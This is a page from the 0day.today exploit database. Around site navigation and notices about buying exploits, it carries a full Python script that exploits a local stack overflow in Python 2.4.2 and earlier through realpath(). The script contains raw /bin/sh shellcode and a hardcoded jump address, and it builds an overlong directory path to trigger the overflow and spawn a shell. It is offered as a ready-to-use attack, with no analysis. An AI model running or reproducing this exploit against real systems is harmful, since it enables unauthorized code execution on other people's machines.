0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ [email protected] ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Python <= 2.4.2 realpath() Local Stack Overflow Exploit
======================================================= Python <= 2.4.2 realpath() Local Stack Overflow Exploit ======================================================= #!/usr/bin/python # gexp-python.py # # Python <= 2.4.2 realpath() Local Stack Overflow # ----------------------------------------------- # Against VA Space Randomization. # # Copyright (c) 2006 Gotfault Security # # Bug found and developed by: dx/vaxen (Gotfault Security), # posidron (Tripbit Research Group). # Enviroment: # # Kernel Version : 2.6.12.5-vs2.0 # GCC Version : 4.0.3 # Libc Version : 2.3.5 # # Special greets goes to : posidron from tripbit.net # RFDSLabs, barros, izik, # Gotfault Security Community. # # Original Reference: # http://gotfault.net/research/exploit/gexp-python.py import os # JMP *%ESP @ linux-gate.so.1 jmp = "\x5f\xe7\xff\xff" shell = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e" shell += "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3" shell += "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" shell += "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" os.chdir("/tmp") base = os.getcwd() dir = os.path.join("A"*250, "A"*250, "A"*250, "A"*250, "A"*42, jmp+shell) os.makedirs(dir) os.chdir(dir) os.system('> vuln.py; python vuln.py') os.remove("vuln.py") os.chdir(base) os.removedirs(dir) # 0day.today [2024-06-30] #